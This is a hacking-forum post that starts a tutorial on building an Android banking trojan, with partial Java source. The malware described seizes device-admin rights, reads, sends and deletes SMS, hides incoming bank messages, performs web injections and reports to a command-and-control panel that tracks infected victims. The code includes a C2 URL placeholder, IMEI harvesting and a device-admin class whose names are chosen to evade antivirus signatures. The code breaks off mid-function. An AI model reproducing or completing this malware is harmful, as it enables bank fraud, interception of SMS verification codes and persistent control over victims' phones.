dEEpEst
☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
- Joined
- Mar 29, 2018
- Messages
- 13,861
- Solutions
- 4
- Reputation
- 27
- Reaction score
- 45,550
- Points
- 1,813
- Credits
- 55,350
7 Years of Service
56%
Today, consider writing android bot from scratch, what it will do for us: - to request the admin rights - request permission to send SMS (android 6.0 and above) - Send SMS - Read SMS - Remove incoming SMS, muffle sound and vibration (removal works up to 4.4, but it works and it depends on the model of the device, the sound and vibration plug works at all). - Web injections (up to 6.0) In the admin panel will be displayed: - IMEI / ID - Room - OS Version - APK version - Country (flagged) - Bank (which (d, e) is set (s)) - Device model - The presence of ROOT (admin rights) - Status of the screen - In the bot network or not (green on the network, yellow is not online, black is not online for more than 2 days) - Date of infection - and also, it displays the presence of inject, sms sms from the bank and the log button (individual) We need Android Studio, knowledge of java, PHP and mysql - for the admin area Please note, the code is described in more detail in the comments! And so, let's not pour water and start writing! Create a clean project (Activity), compiled apk has a weight of 34kb, prepared a template for the project: [HIDE-THANKS]
. [/HIDE-THANKS]While we have a pure MainActivity
Add 2 classes with the names constants and secFunctions constants here and so it is clear that we store the constants, and secFunctions - there will be additional functions, such as getting the text selected from the text from the string, getting IMEI, algorithms for encrypting and deciphering traffic strings! Class constants
Class secFunctions
This link is hidden for visitors. Please Log in or register now.
Code:
> package com.example.livemusay.myapplication; import android.app.Activity; public class MainActivity extends Activity { [MENTION=19031]Override[/MENTION] protected void onCreate (Bundle savedInstanceState) { super.onCreate (savedInstanceState); setContentView (R.layout.activity_main); } }
Code:
>package com.example.livemusay.myapplication; public class constants { public final String url = "http://URL.ru"; // admin public final String key_post = "qwe"; // encryption key for POST public final String Version = "Demo"; // The version of apk }
Code:
>package com.example.livemusay.myapplication; import android.content.Context; import android.os.Build; import android.provider.Settings; import android.telephony.TelephonyManager; import android.util.Log; import java.net.URLDecoder; import java.net.URLEncoder; public class secFunctions { // function for searching for text in a line by tags public String return_plain_text (String text, String tagBIGIN, String tagEND) // Remove text TAG> { try { int indexBIGIN = text.indexOf (tagBIGIN) + tagBIGIN.length (); int indexEND = text.indexOf (tagEND); text = text.substring (indexBIGIN, indexEND); return text; } catch (Exception e) { Log.e ("ERROR", "text_tag"); return ""; } } // *************** // get IMEI public String IMEI (Context context) { TelephonyManager tm = (TelephonyManager) context.getSystemService (Context.TELEPHONY_SERVICE); String IMEI = ""; if (Build.VERSION.SDK_INT
So, now we need the admin rights, we need to at least somehow resist the victim, we add classes with the names PoM_adm and DAdm (inherits from DeviceAdminReceiver) and activity c named goR00t - names such that there was no signature (although it will soon appear ) Now let's start to describe them [color=#00FF00]Class PoM_adm [/color][code]package com.example.livemusay.myapplication; import android.app.admin.DevicePolicyManager; import android.content.ComponentName; import android.content.Context; public class PoM_adm { public static final int DMP = 100; private Context MC; private DevicePolicyManager mDPM; private ComponentName AC; public PoM_adm (Context context) { this.MC = context; String gd = MC.getPackageName () + ".DAR"; String ndg = MC.getPackageName (); mDPM = (DevicePolicyManager) MC.getSystemService (Context.DEVICE_POLICY_SERVICE); AC = new ComponentName (ndg, gd); } public boolean ISS () {return mDPM.isAdminActive (AC);} public ComponentName GAC () {return AC;} }